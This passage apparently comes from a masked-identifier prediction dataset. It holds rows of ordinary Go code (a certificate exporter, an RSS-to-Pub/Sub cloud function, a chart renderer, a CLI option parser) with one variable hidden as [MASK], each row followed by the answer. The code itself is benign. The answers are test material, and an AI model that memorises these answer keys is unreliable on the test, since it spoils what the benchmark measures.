flag.Var(&excludeCertGlobs, ""exclude-cert-glob"", ""File globs to exclude when looking for certs."") flag.Var(&includeKubeConfigGlobs, ""include-kubeconfig-glob"", ""File globs to include when looking for kubeconfigs."") flag.Var(&excludeKubeConfigGlobs, ""exclude-kubeconfig-glob"", ""File globs to exclude when looking for kubeconfigs."") flag.StringVar(&prometheusPath, ""prometheus-path"", ""/metrics"", ""The path to publish Prometheus metrics to."") flag.StringVar(&prometheusListenAddress, ""prometheus-listen-address"", "":8080"", ""The address to listen on for Prometheus scrapes."") flag.BoolVar(&prometheusExporterMetricsDisabled, ""prometheus-disable-exporter-metrics"", false, ""Exclude metrics about the exporter itself (promhttp_*, process_*, go_*)."") flag.DurationVar(&pollingPeriod, ""polling-period"", time.Hour, ""Periodic interval in which to check certs."") flag.StringVar(&kubeconfigPath, ""kubeconfig"", """", ""Path to a kubeconfig. Only required if out-of-cluster."") flag.Var(&secretsLabelSelector, ""secrets-label-selector"", ""Label selector to find secrets to publish as metrics."") flag.Var(&secretsNamespaceLabelSelector, ""secrets-namespace-label-selector"", ""Label selector to find namespaces in which to find secrets to publish as metrics."") flag.Var(&secretsAnnotationSelector, ""secrets-annotation-selector"", ""Annotation selector to find secrets to publish as metrics."") flag.StringVar(&secretsNamespace, ""secrets-namespace"", """", ""Kubernetes namespace to list secrets."") flag.StringVar(&secretsListOfNamespaces, ""secrets-namespaces"", """", ""Kubernetes comma-delimited list of namespaces to search for secrets."") flag.Var(&includeSecretsDataGlobs, ""secrets-include-glob"", ""Secret globs to include when looking for secret data keys (Default \""*\"")."") flag.Var(&includeSecretsTypes, ""secret-include-types"", ""Select only specific a secret type (Default nil)."") flag.Var(&excludeSecretsDataGlobs, ""secrets-exclude-glob"", ""Secret globs to exclude when looking for secret data keys."") flag.Var(&configMapsLabelSelector, ""configmaps-label-selector"", ""Label selector to find configmaps to publish as metrics."") flag.Var(&configMapsNamespaceLabelSelector, ""configmaps-namespace-label-selector"", ""Label selector to find namespaces in which to find configmaps to publish as metrics."") flag.Var(&configMapsAnnotationSelector, ""configmaps-annotation-selector"", ""Annotation selector to find configmaps to publish as metrics."") flag.StringVar(&configMapsNamespace, ""configmaps-namespace"", """", ""Kubernetes namespace to list configmaps."") flag.StringVar(&configMapsListOfNamespaces, ""configmaps-namespaces"", """", ""Kubernetes comma-delimited list of namespaces to search for configmaps."") flag.Var(&includeConfigMapsDataGlobs, ""configmaps-include-glob"", ""Configmap globs to include when looking for configmap data keys (Default \""*\"")."") flag.Var(&excludeConfigMapsDataGlobs, ""configmaps-exclude-glob"", ""Configmap globs to exclude when looking for configmap data keys."") flag.BoolVar(&webhookCheckEnabled, ""enable-webhook-cert-check"", false, ""Enable webhook cert check."") flag.Var(&webhooksLabelSelector, ""webhooks-label-selector"", ""Label selector to find webhooks to publish as metrics."") flag.Var(&webhooksAnnotationSelector, ""webhooks-annotation-selector"", ""Annotation selector to find webhooks to publish as metrics."") flag.StringVar(&awsAccount, ""aws-account"", """", ""AWS account to search for secrets in"") flag.StringVar(&awsRegion, ""aws-region"", """", ""AWS region to search for secrets in"") flag.StringVar(&awsKeySubString, ""aws-key-substring"", "".pem"", ""Substring to search for in the key name. Matched keys are parsed as certs."") flag.Var(&awsSecrets, ""aws-secret"", ""AWS secrets to export"") flag.BoolVar(&certRequestsEnabled, ""enable-certrequests-check"", false, ""Enable certrequests check."") flag.Var(&certRequestsLabelSelector, ""certrequests-label-selector"", ""Label selector to find certrequests to publish as metrics."") flag.Var(&certRequestsAnnotationSelector, ""certrequests-annotation-selector"", ""Annotation selector to find certrequests to publish as metrics."") flag.StringVar(&certRequestsNamespace, ""certrequests-namespace"", """", ""Kubernetes namespace to list certrequests."") flag.StringVar(&certRequestsListOfNamespaces, ""certrequests-namespaces"", """", ""Kubernetes comma-delimited list of namespaces to search for certrequests."") } func main() { flag.Parse() metrics.Init(prometheusExporterMetricsDisabled) glog.Infof(""Starting cert-exporter (version %s; commit %s; date %s)"", version, commit, date) if len(includeCertGlobs) > 0 { certChecker := checkers.NewCertChecker(pollingPeriod, includeCertGlobs, excludeCertGlobs, os.Getenv(""NODE_NAME""), &exporters.CertExporter{}) go certChecker.StartChecking() } if len(includeKubeConfigGlobs) > 0 { configChecker := checkers.NewCertChecker(pollingPeriod, includeKubeConfigGlobs, excludeKubeConfigGlobs, os.Getenv(""NODE_NAME""), &exporters.KubeConfigExporter{}) go configChecker.StartChecking() } if len(secretsLabelSelector) > 0 || len(secretsAnnotationSelector) > 0 || len(includeSecretsDataGlobs) > 0 || len(secretsNamespaceLabelSelector) > 0 { if len(includeSecretsDataGlobs) == 0 { includeSecretsDataGlobs = args.GlobArgs([]string{""*""}) } secretsNamespaces := getSanitizedNamespaceList(secretsListOfNamespaces, secretsNamespace) configChecker := checkers.NewSecretChecker(pollingPeriod, secretsLabelSelector, includeSecretsDataGlobs, excludeSecretsDataGlobs, secretsAnnotationSelector, secretsNamespaces, secretsNamespaceLabelSelector, kubeconfigPath, &exporters.SecretExporter{}, includeSecretsTypes) go configChecker.StartChecking() } if len(certRequestsLabelSelector) > 0 || len(certRequestsAnnotationSelector) > 0 || certRequestsEnabled { certRequestNamespaces := getSanitizedNamespaceList(certRequestsListOfNamespaces, certRequestsNamespace) configChecker := checkers.NewCertRequestChecker(pollingPeriod, certRequestsLabelSelector, certRequestsAnnotationSelector, certRequestNamespaces, kubeconfigPath, &exporters.CertRequestExporter{}) go configChecker.StartChecking() } if len(awsAccount) > 0 && len(awsRegion) > 0 && len(awsSecrets) > 0 { glog.Infof(""Starting check for AWS Secrets Manager in Account %s and Region %s and Secrets %s"", awsAccount, awsRegion, awsSecrets) awsChecker := checkers.NewAwsChecker(awsAccount, awsRegion, awsKeySubString, awsSecrets, pollingPeriod, &exporters.AwsExporter{}) go awsChecker.StartChecking() } if len(configMapsLabelSelector) > 0 || len(configMapsAnnotationSelector) > 0 || len(includeConfigMapsDataGlobs) > 0 || len(configMapsNamespaceLabelSelector) > 0 { if len(includeConfigMapsDataGlobs) == 0 { includeConfigMapsDataGlobs = args.GlobArgs([]string{""*""}) } configMapsNamespaces := getSanitizedNamespaceList(configMapsListOfNamespaces, configMapsNamespace) configChecker := checkers.NewConfigMapChecker(pollingPeriod, configMapsLabelSelector, includeConfigMapsDataGlobs, excludeConfigMapsDataGlobs, configMapsAnnotationSelector, configMapsNamespaces, configMapsNamespaceLabelSelector, kubeconfigPath, &exporters.ConfigMapExporter{}) go configChecker.StartChecking() } if webhookCheckEnabled { configChecker := checkers.NewWebhookChecker(pollingPeriod, webhooksLabelSelector, webhooksAnnotationSelector, kubeconfigPath, &exporters.WebhookExporter{}) go configChecker.StartChecking() } handler := promhttp.HandlerFor(prometheus.DefaultGatherer, promhttp.HandlerOpts{}) if !prometheusExporterMetricsDisabled { handler = promhttp.InstrumentMetricHandler(prometheus.DefaultRegisterer, handler) } http.Handle(prometheusPath, handler) log.Fatal(http.ListenAndServe(prometheusListenAddress, nil)) } // Get the trimmed and sanitized list of namespaces func getSanitizedNamespaceList( [MASK] , namespace string) []string { var selected []string if len( [MASK] ) > 0 { provided := strings.Split( [MASK] , "","") for _, v := range provided { v = strings.TrimSpace(v) if v != """" { selected = append(selected, v) } } } if len(namespace) > 0 { selected = append(selected, namespace) } if len(selected) == 0 { return []string{""""} } return selected } ",rawListOfNamespaces 340,"package reader // Copyright 2022 Google LLC // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // https://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. import ( ""context"" ""encoding/json"" ""fmt"" ""log"" ""net/url"" ""os"" ""sync"" ""sync/atomic"" ""time"" b64 ""encoding/base64"" firestore ""cloud.google.com/go/firestore"" ""cloud.google.com/go/pubsub"" ""github.com/GoogleCloudPlatform/functions-framework-go/functions"" ""github.com/cloudevents/sdk-go/v2/event"" ""github.com/mmcdole/gofeed"" ) // MessagePublishedData contains the full Pub/Sub message // See the documentation for more details: // https://cloud.google.com/eventarc/docs/cloudevents#pubsub type MessagePublishedData struct { Message PubSubMessage } type PubSubMessage struct { Data []byte `json:""data""` } type FeedReaderPayload struct { Feed string `json:""feed""` TopicId string `json:""topicId""` Type string `json:""type""` CachePath string `json:""cachePath""` } type NewEvents []*gofeed.Item var dbClient *firestore.Client var projectId string func init() { var err error projectId = os.Getenv(""FIRESTORE_PROJECT_ID"") ctx := context.Background() dbClient, err = firestore.NewClient(ctx, projectId) if err != nil { log.Fatalf(""firebase.Firestore: %v"", err) } functions.CloudEvent(""Handler"", handler) } // Handler consumes a Pub/Sub message. func handler(ctx context.Context, e event.Event) error { var msg MessagePublishedData if err := e.DataAs(&msg); err != nil { return fmt.Errorf(""event.DataAs: %v"", err) } [MASK] , err := msg.Message.Decode() if err != nil { log.Fatal(err) return err } fmt.Printf(""Starting polling for %s..."", [MASK] .CachePath) newItems, err := [MASK] .Poll() if err != nil { log.Fatal(err) return err } err = [MASK] .Publish(newItems) if err != nil { log.Fatal(err) return err } return err } func (p *PubSubMessage) Decode() (*FeedReaderPayload, error) { var payload FeedReaderPayload if err := json.Unmarshal(p.Data, &payload); err != nil { log.Println(err) return nil, err } return &payload, nil } func (p *FeedReaderPayload) Poll() (NewEvents, error) { ctx := context.Background() var wg sync.WaitGroup var events NewEvents fp := gofeed.NewParser() eventCollection := dbClient.Collection(p.CachePath) feed, err := fp.ParseURL(p.Feed) if err != nil { fmt.Println(err) return nil, err } for _, item := range feed.Items { wg.Add(1) go func(i *gofeed.Item) { defer wg.Done() eventId := url.PathEscape(b64.StdEncoding.EncodeToString([]byte(i.GUID))) if _, err := eventCollection.Doc(eventId).Get(ctx); err != nil { fmt.Printf(err.Error()) fmt.Printf(""Writing new event to cache: %s"", eventId) var docData map[string]interface{} data, _ := json.Marshal(i) json.Unmarshal(data, &docData) // Set document to expire 30 days from now docData[""expireAt""] = time.Now().Add((time.Hour * 24 * 30)) eventCollection.Doc(eventId).Set(ctx, docData) events = append(events, i) } else { fmt.Println(""Feed item already exists in cache. Skipping..."") return } }(item) } wg.Wait() return events, nil } func (p *FeedReaderPayload) Publish(e NewEvents) error { ctx := context.Background() var wg sync.WaitGroup var totalErrors uint64 client, err := pubsub.NewClient(ctx, projectId) if err != nil { return err } defer client.Close() t := client.Topic(p.TopicId) for _, event := range e { data, err := json.Marshal(event) if err != nil { return err } fmt.Printf(""Publishing %s ..."", data) result := t.Publish(ctx, &pubsub.Message{ Data: data, Attributes: map[string]string{ ""origin"": p.CachePath, ""feed"": p.Feed, }, }) wg.Add(1) go func(res *pubsub.PublishResult) { defer wg.Done() id, err := res.Get(ctx) if err != nil { fmt.Printf(""Failed to publish: %v"", err) atomic.AddUint64(&totalErrors, 1) return } fmt.Printf(""Successfully published %s"", id) }(result) } wg.Wait() if totalErrors > 0 { return fmt.Errorf(""%d of %d messages did not publish successfully"", totalErrors, len(e)) } return nil } ",feedConfig 341,"package main import ( ""bytes"" ""io/ioutil"" ""log"" ""sync"" ""github.com/golang/freetype/truetype"" ""github.com/wcharczuk/go-chart/v2"" ) var ( _defaultZHFontLock sync.Mutex _defaultZHFont *truetype.Font ) func GetChart(data []chart.Value) []byte { var dataWithFont []chart.Value ZHFont, err := getZHFont() if err != nil { log.Panicln(""ZHFont load error="", err) } for _, d := range data { d.Style = chart.Style{Font: ZHFont} dataWithFont = append(dataWithFont, d) } pie := chart.PieChart{ Width: 512, Height: 512, Values: dataWithFont, } log.Println(""Chart data"", data) var [MASK] = new(bytes.Buffer) pie.Render(chart.PNG, [MASK] ) return [MASK] .Bytes() } func getZHFont() (*truetype.Font, error) { if _defaultZHFont == nil { _defaultZHFontLock.Lock() defer _defaultZHFontLock.Unlock() if _defaultZHFont == nil { fontFile := "".fonts/TaipeiSansTCBeta-Regular.ttf"" fontBytes, err := ioutil.ReadFile(fontFile) if err != nil { log.Println(err) return nil, err } font, err := truetype.Parse(fontBytes) if err != nil { log.Println(err) return nil, err } _defaultZHFont = font } } return _defaultZHFont, nil } ",buf 342,"package clop import ( ""errors"" ""fmt"" ""io"" ""os"" ""reflect"" ""strings"" ""unicode/utf8"" ""github.com/go-playground/validator/v10"" ) var ( ErrDuplicateOptions = errors.New(""is already in use"") //ErrUsageEmpty = errors.New(""usage cannot be empty"") ErrUnsupported = errors.New(""unsupported clop command"") ErrNotFoundName = errors.New(""no command line options found"") ErrOptionName = errors.New(""Illegal option name"") ) var ( // 显示usage信息里面的[default: xxx]信息,如果为false,就不显示 ShowUsageDefault = true ) const ( defautlCallbackName = ""Parse"" defaultSubMain = ""SubMain"" ) const ( optGreedy = ""greedy"" optOnce = ""once"" optEnv = ""env"" optEnvEqual = ""env="" optSubcommand = ""subcommand"" optSubcommandEqual = ""subcommand="" optShort = ""short"" optLong = ""long"" optCallback = ""callback"" optCallbackEqual = ""callback="" optSpace = "" "" ) /* type SubMain interface { SubMain() } */ type unparsedArg struct { arg string index int } type Clop struct { //指向自己的root clop,如果设置了subcommand这个值是有意义的 //非root Clop指向root,root Clop值为nil root *Clop shortAndLong map[string]*Option //存放长短选项 checkEnv map[string]struct{} //判断环境变量是否重复注册的 checkArgs map[string]struct{} //判断args是否重复注册 envAndArgs []*Option //存放环境变量和args args []string //原始参数 unparsedArgs []unparsedArg //没有解析的args参数 allStruct map[interface{}]struct{} //所有注册过的结构体 about string //about信息 version string //版本信息 versionOption *Option //版本选项 subMain reflect.Value //子命令带SubMain方法, 就会自动调用 structAddr reflect.Value exit bool //测试需要用, 控制-h --help 是否退出进程 subcommand map[string]*Subcommand //子命令, 保存结构体当层的所有子命令的信息 isSetSubcommand map[string]struct{} //用于查询哪个子命令被使用, 只有root节点会设置值 procName string //进程名 currSubcommandFieldName string //当前使用的子命令结构体名, 只有root才设置该字段 fieldName string //记录当前子结构体字段名, root为空 w io.Writer } // 设置版本相关信息 func (c *Clop) SetVersion(version string) *Clop { c.version = version if c.versionOption == nil { c.SetVersionOption(""V"", ""version"") } return c } // 设置版本相关信息 func (c *Clop) SetVersionOption(short, long string) *Clop { var opt Option if short != """" { opt.showShort = []string{short} } if long != """" { opt.showLong = []string{long} } c.versionOption = &opt return c } func (c *Clop) versionShort() string { if c.versionOption != nil && len(c.versionOption.showShort) > 0 { return c.versionOption.showShort[0] } return """" } func (c *Clop) versionLong() string { if c.versionOption != nil && len(c.versionOption.showLong) > 0 { return c.versionOption.showLong[0] } return """" } // 设置about相关信息 func (c *Clop) SetAbout(about string) *Clop { c.about = about return c } // 使用递归定义,可以很轻松地解决subcommand嵌套的情况 type Subcommand struct { *Clop usage string } type Option struct { pointer reflect.Value //存放需要修改的值的reflect.Value类型变量 fn reflect.Value usage string //帮助信息 showDefValue string //显示默认值 //表示参数优先级, 高4字节存放args顺序, 低4字节存放命令组合的顺序(ls -ltr),这里的l的高4字节的值就是0 index uint64 envName string //环境变量 argsName string //args变量 greedy bool //贪婪模式 -H a b c 等于-H a -H b -H c // 如果设置once标记,命令行传递-debug -debug这种重复选项会报错 // 对slice变量无效 once bool //只能设置一次,如果设置once标记,命令行传了两次选项会报错 cmdSet bool //是否通过命令行设置过值 showShort []string //help显示的短选项 showLong []string //help显示的长选项 } func (o *Option) onceResetValue() { if len(o.showDefValue) > 0 && !o.pointer.IsZero() && !o.cmdSet { resetValue(o.pointer) } o.cmdSet = true } func New(args []string) *Clop { return &Clop{ shortAndLong: make(map[string]*Option), checkEnv: make(map[string]struct{}), checkArgs: make(map[string]struct{}), isSetSubcommand: make(map[string]struct{}), //TODO后期优化下内存,只有root需要初始化 allStruct: make(map[interface{}]struct{}), args: args, exit: true, w: os.Stdout, } } // 检查option 名字的合法性 func checkOptionName(name string) (byte, bool) { for i := 0; i < len(name); i++ { c := name[i] if c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9' || c == '-' || c == '_' { continue } return c, false } return 0, true } // 设置出错行为,默认出错会退出进程(true), 为false则不会 func (c *Clop) SetExit(exit bool) *Clop { c.exit = exit return c } func (c *Clop) SetOutput(w io.Writer) *Clop { c.w = w return c } // 设置进程名 func (c *Clop) SetProcName(procName string) *Clop { c.procName = procName return c } func (c *Clop) IsSetSubcommand(subcommand string) bool { _, ok := c.isSetSubcommand[subcommand] return ok } // TODO 补充下更多单元测试 func (c *Clop) GetIndexEx(optName string) (index uint64, ok bool) { // 长短选项 o, ok := c.shortAndLong[optName] if ok { return o.index, true } // args参数 if _, ok := c.checkArgs[optName]; ok { for _, o := range c.envAndArgs { if o.argsName == optName { return o.index, true } } } return 0, false } func (c *Clop) GetIndex(optName string) (index uint64) { index, _ = c.GetIndexEx(optName) return } func (c *Clop) setOption(name string, option *Option, m map[string]*Option, long bool) error { if c, ok := checkOptionName(name); !ok { return fmt.Errorf(""%w:%s:unsupported characters found(%c)"", ErrOptionName, name, c) } if c.version != """" && (name == c.versionShort() || name == c.versionLong()) { name = ""-"" + name if long { name = ""-"" + name } versionOpt := """" if c.versionShort() != """" { versionOpt = ""-"" + c.versionShort() } if c.versionLong() != """" { if versionOpt != """" { versionOpt += "","" } versionOpt += ""--"" + c.versionLong() } return fmt.Errorf(""%s %w, duplicate definition with version option %s"", name, ErrDuplicateOptions, versionOpt) } if o, ok := m[name]; ok { name = ""-"" + name if long { name = ""-"" + name } return fmt.Errorf(""%s %w, duplicate definition with %s"", name, ErrDuplicateOptions, c.showShortAndLong(o)) } m[name] = option return nil } func setValueAndIndex(val string, option *Option, index int, lowIndex int) error { option.onceResetValue() option.index = uint64(index) << 31 option.index |= uint64(lowIndex) if option.fn.IsValid() { // 如果定义callback, 就不会走默认形为 option.fn.Call([]reflect.Value{reflect.ValueOf(val)}) return nil } return setBase(val, option.pointer) } func errOnce(optionName string) error { return fmt.Errorf(`error: The argument '-%s' was provided more than once, but cannot be used multiple times`, optionName) } func (c *Clop) unknownOptionErrorShort(optionName string, arg string) error { m := fmt.Sprintf(`error: Found argument '-%s' which wasn't expected, or isn't valid in this context`, optionName) m += c.genMaybeHelpMsg(arg) return errors.New(m) } func (c *Clop) unknownOptionError(optionName string) error { m := fmt.Sprintf(`error: Found argument '--%s' which wasn't expected, or isn't valid in this context`, optionName) m += c.genMaybeHelpMsg(optionName) return errors.New(m) } func setBoolAndBoolSliceDefval(pointer reflect.Value, value *string) { kind := pointer.Kind() //bool类型,不考虑false的情况 if *value == """" { if reflect.Bool == kind { *value = ""true"" return } if _, isBoolSlice := pointer.Interface().([]bool); isBoolSlice { *value = ""true"" } } } func (c *Clop) parseEqualValue(arg string) (value string, option *Option, err error) { pos := strings.Index(arg, ""="") if pos == -1 { return """", nil, c.unknownOptionError(arg) } option, _ = c.shortAndLong[arg[:pos]] if option == nil { return """", nil, c.unknownOptionError(arg) } value = arg[pos+1:] return value, option, nil } func checkOnce(arg string, option *Option) error { if option.once && !option.pointer.IsZero() { return errOnce(arg) } return nil } func (c *Clop) isRegisterOptions(arg string) bool { num := 0 if len(arg) > 0 && arg[0] == '-' { num++ } if len(arg) > 1 && arg[1] == '-' { num++ } // 处理value带=的情况 end := len(arg) if e := strings.IndexByte(arg, '='); e != -1 { end = e } _, ok := c.shortAndLong[arg[num:end]] return ok } // 解析长选项 func (c *Clop) parseLong(arg string, index *int) (err error) { var option *Option value := """" option, _ = c.shortAndLong[arg] if option == nil { if value, option, err = c.parseEqualValue(arg); err != nil { return err } } if len(arg) == 1 { return c.unknownOptionError(arg) } // 设置bool 和bool slice的默认值 setBoolAndBoolSliceDefval(option.pointer, &value) if len(value) > 0 { if err := checkOnce(arg, option); err != nil { return err } return setValueAndIndex(value, option, *index, 0) } // 如果是长选项 if *index+1 >= len(c.args) { return nil } for { (*index)++ if *index >= len(c.args) { return nil } value = c.args[*index] if c.findFallbackOpt(value, index) { return nil } if err := checkOnce(arg, option); err != nil { return err } if err := setValueAndIndex(value, option, *index, 0); err != nil { return err } /* if option.pointer.Kind() != reflect.Slice && !option.greedy { return nil } */ if !option.greedy { return nil } } } // 设置环境变量和参数 func (o *Option) setEnvAndArgs(c *Clop) (err error) { if len(o.envName) > 0 { if v, ok := os.LookupEnv(o.envName); ok { if o.pointer.Kind() == reflect.Bool { if v != ""false"" { v = ""true"" } } return setValueAndIndex(v, o, 0, 0) } } if len(o.argsName) > 0 { if len(c.unparsedArgs) == 0 { //todo修饰下报错信息 //return errors.New(""unparsedargs == 0"") return nil } value := c.unparsedArgs[0] switch o.pointer.Kind() { case reflect.Slice: for o.pointer.Kind() == reflect.Slice { setValueAndIndex(value.arg, o, value.index, 0) c.unparsedArgs = c.unparsedArgs[1:] if len(c.unparsedArgs) == 0 { break } value = c.unparsedArgs[0] } default: if err := setValueAndIndex(value.arg, o, value.index, 0); err != nil { return err } if len(c.unparsedArgs) > 0 { c.unparsedArgs = c.unparsedArgs[1:] } } } return nil } func (c *Clop) parseShort(arg string, index *int) error { var ( option *Option shortIndex int ) var a rune find := false // 可以解析的参数类型举例 // -d -d是bool类型 // -vvv 是[]bool类型 // -d=false -d 是bool false是value // -ffile -f是string类型,file是value for shortIndex, a = range arg { //只支持ascii if a >= utf8.RuneSelf { return errors.New(""Illegal character set"") } optionName := string(byte(a)) option, _ = c.shortAndLong[optionName] if option == nil { //没有注册过的选项直接报错 return c.unknownOptionErrorShort(optionName, arg) } find = true findEqual := false //是否找到等于号 value := arg _, isBoolSlice := option.pointer.Interface().([]bool) _, isBool := option.pointer.Interface().(bool) if !(isBoolSlice || isBool) { shortIndex++ } if len(value[shortIndex:]) > 0 && len(value[shortIndex+1:]) > 0 { if value[shortIndex:][0] == '=' { findEqual = true shortIndex++ } if value[shortIndex+1:][0] == '=' { findEqual = true shortIndex += 2 } } getchar: for value := arg; ; { if len(value[shortIndex:]) > 0 { // 如果没有值,要取args下个参数 val := value[shortIndex:] if isBoolSlice || isBool { val = ""true"" } if findEqual { val = string(value[shortIndex:]) } if err := checkOnce(value[shortIndex:], option); err != nil { return err } if err := setValueAndIndex(val, option, *index, shortIndex); err != nil { return err } if findEqual { return nil } if isBoolSlice || isBool { //比如-vvv这种情况 break getchar } /* 非贪婪模式,解析设置slice变量,会多吃掉args参数要的变量 if option.pointer.Kind() != reflect.Slice && !option.greedy { return nil } */ if !option.greedy { return nil } } shortIndex = 0 if *index+1 >= len(c.args) { return nil } (*index)++ value = c.args[*index] if c.findFallbackOpt(value, index) { return nil } } } if find { return nil } return c.unknownOptionErrorShort(arg, arg) } func (c *Clop) findFallbackOpt(value string, index *int) bool { // 如果打开贪婪模式,直到遇到-或者最后一个字符才结束 if strings.HasPrefix(value, ""-"") { // 如果这个是命令行选项,而不是负数, 就直接回退选项 if c.isRegisterOptions(value) { (*index)-- //回退这个选项 return true } } return false } func (c *Clop) getOptionAndSet(arg string, index *int, numMinuses int) error { // 输出帮助信息 if arg == ""h"" || arg == ""help"" { if _, ok := c.shortAndLong[arg]; !ok { c.Usage() return nil } } // 显示版本信息 if c.version != """" && (arg == c.versionShort() || arg == c.versionLong()) { c.showVersion() return nil } // 取出option对象 switch numMinuses { case 2: //长选项 return c.parseLong(arg, index) case 1: //短选项 return c.parseShort(arg, index) } return nil } // ENV_NAME= // ENV_NAME func (o *Option) genShowEnvNameValue() (env string) { if len(o.envName) > 0 { envValue := os.Getenv(o.envName) env = o.envName if len(envValue) > 0 { env = env + ""="" + envValue } } return } func (c *Clop) showShortAndLong(v *Option) string { var [MASK] []string for _, v := range v.showShort { [MASK] = append( [MASK] , ""-""+v) } for _, v := range v.showLong { [MASK] = append( [MASK] , ""--""+v) } return strings.Join( [MASK] , "","") } func (c *Clop) genHelpMessage(h *Help) { // shortAndLong多个key指向一个option,需要used map去重 used := make(map[*Option]struct{}, len(c.shortAndLong)) if c.shortAndLong[""h""] == nil && c.shortAndLong[""help""] == nil { c.shortAndLong[""h""] = &Option{usage: ""print the help information"", showShort: []string{""h""}, showLong: []string{""help""}} } if c.version != """" { if c.versionShort() != """" && c.versionLong() != """" { c.shortAndLong[c.versionShort()] = &Option{usage: ""print version information"", showShort: []string{c.versionShort()}, showLong: []string{c.versionLong()}} } else if c.versionShort() != """" { c.shortAndLong[c.versionShort()] = &Option{usage: ""print version information"", showShort: []string{c.versionShort()}} } else if c.versionLong() != """" { c.shortAndLong[c.versionLong()] = &Option{usage: ""print version information"", showLong: []string{c.versionLong()}} } } saveHelp := func(options map[string]*Option) { for _, v := range options { if _, ok := used[v]; ok { continue } used[v] = struct{}{} // 环境变量 env := v.genShowEnvNameValue() opt := c.showShortAndLong(v) if h.MaxNameLen < len(opt) { h.MaxNameLen = len(opt) } switch v.pointer.Kind() { case reflect.Bool: h.Flags = append(h.Flags, showOption{Opt: opt, Usage: v.usage, Env: env, Default: v.showDefValue}) default: h.Options = append(h.Options, showOption{Opt: opt, Usage: v.usage, Env: env, Default: v.showDefValue}) } } } saveHelp(c.shortAndLong) for _, v := range c.envAndArgs { opt := v.argsName if len(opt) == 0 && len(v.envName) > 0 { opt = v.envName } // args参数 oldOpt := opt if len(opt) > 0 { opt = ""<"" + opt + "">"" } if h.MaxNameLen < len(opt) { h.MaxNameLen = len(opt) } env := v.genShowEnvNameValue() if len(env) > 0 { h.Envs = append(h.Envs, showOption{Opt: oldOpt, Usage: v.usage, Env: env}) continue } h.Args = append(h.Args, showOption{Opt: opt, Usage: v.usage, Env: env}) } // 子命令 for opt, v := range c.subcommand { if h.MaxNameLen < len(opt) { h.MaxNameLen = len(opt) } h.Subcommand = append(h.Subcommand, showOption{Opt: opt, Usage: v.usage}) } h.ProcessName = c.procName h.Version = c.version h.About = c.about h.ShowUsageDefault = ShowUsageDefault } // 显示version信息 func (c *Clop) showVersion() { fmt.Fprintln(c.w, c.version) if c.exit { os.Exit(0) } } func (c *Clop) Usage() { c.printHelpMessage() if c.exit { os.Exit(0) } } func (c *Clop) printHelpMessage() { h := Help{} c.genHelpMessage(&h) err := h.output(c.w) if err != nil { panic(err) } } func (c *Clop) getRoot() (root *Clop) { root = c if c.root != nil { root = c.root } return root } func (c *Clop) parseSubcommandTag(clop string, v reflect.Value, usage string, fieldName string) (newClop *Clop, haveSubcommand bool) { options := strings.Split(clop, "";"") for _, opt := range options { var name string switch { case strings.HasPrefix(opt, optSubcommandEqual): name = opt[len(optSubcommandEqual):] case opt == optSubcommand: name = strings.ToLower(fieldName) } if name != """" { if c.subcommand == nil { c.subcommand = make(map[string]*Subcommand, 3) } newClop := New(nil) //newClop.exit = c.exit //继承exit属性 newClop.SetProcName(name) newClop.root = c.getRoot() c.subcommand[name] = &Subcommand{Clop: newClop, usage: usage} newClop.fieldName = fieldName newClop.subMain = v.Addr().MethodByName(defaultSubMain) return newClop, true } } return nil, false } func (c *Clop) parseTagAndSetOption(clop string, usage string, def string, fieldName string, v reflect.Value) (err error) { options := strings.Split(clop, "";"") option := &Option{usage: usage, pointer: v, showDefValue: def} const ( isShort = 1 << iota isLong isEnv isArgs ) flags := 0 for _, opt := range options { opt = strings.TrimLeft(opt, optSpace) if len(opt) == 0 { continue //跳过空值 } name := """" // TODO 检查name的长度 switch { case strings.HasPrefix(opt, optCallback): funcName := defautlCallbackName if strings.HasPrefix(opt, optCallbackEqual) { funcName = opt[len(optCallbackEqual):] } option.fn = c.structAddr.MethodByName(funcName) // 检查callback的参数长度 if option.fn.Type().NumIn() != 1 { panic(fmt.Sprintf(""Required function parameters->%s(val string)"", funcName)) } //注册长选项 --name case strings.HasPrefix(opt, ""--""): name = opt[2:] fallthrough case strings.HasPrefix(opt, optLong): if !strings.HasPrefix(opt, ""--"") { if name, err = gnuOptionName(fieldName); err != nil { return err } } if err := c.setOption(name, option, c.shortAndLong, true); err != nil { return err } option.showLong = append(option.showLong, name) flags |= isShort //注册短选项 case strings.HasPrefix(opt, ""-""): name = opt[1:] fallthrough case strings.HasPrefix(opt, optShort): if !strings.HasPrefix(opt, ""-"") { if name, err = gnuOptionName(fieldName); err != nil { return err } name = string(name[0]) } if err := c.setOption(name, option, c.shortAndLong, false); err != nil { return err } option.showShort = append(option.showShort, name) flags |= isLong case strings.HasPrefix(opt, optGreedy): option.greedy = true case strings.HasPrefix(opt, optOnce): option.once = true case opt == optEnv: if name, err = envOptionName(fieldName); err != nil { return err } fallthrough case strings.HasPrefix(opt, optEnvEqual): flags |= isEnv if strings.HasPrefix(opt, optEnvEqual) { name = opt[4:] } option.envName = name if _, ok := c.checkEnv[option.envName]; ok { return fmt.Errorf(""%s: env=%s"", ErrDuplicateOptions, option.envName) } c.envAndArgs = append(c.envAndArgs, option) c.checkEnv[option.envName] = struct{}{} case strings.HasPrefix(opt, ""args=""): // args是和长,短选项互斥的功能 if flags&isShort > 0 || flags&isLong > 0 { continue } flags |= isArgs option.argsName = opt[5:] if _, ok := c.checkArgs[option.argsName]; ok { return fmt.Errorf(""%s: args=%s"", ErrDuplicateOptions, option.argsName) } c.checkArgs[option.argsName] = struct{}{} c.envAndArgs = append(c.envAndArgs, option) default: return fmt.Errorf(`%s:(%s) clop:""%s"", Maybe you need to clop:""short;long""`, ErrUnsupported, opt, clop) } if strings.HasPrefix(opt, ""-"") && len(name) == 0 { return fmt.Errorf(""Illegal command line option:%s"", opt) } } if flags&isShort == 0 && flags&isLong == 0 && flags&isEnv == 0 && flags&isArgs == 0 { return fmt.Errorf(""%s:%s"", ErrNotFoundName, clop) } return nil } func (c *Clop) registerCore(v reflect.Value, sf reflect.StructField) error { for v.Kind() == reflect.Ptr { v = v.Elem() } clop := Tag(sf.Tag).Get(""clop"") usage := Tag(sf.Tag).Get(""usage"") // 如果是subcommand if v.Kind() == 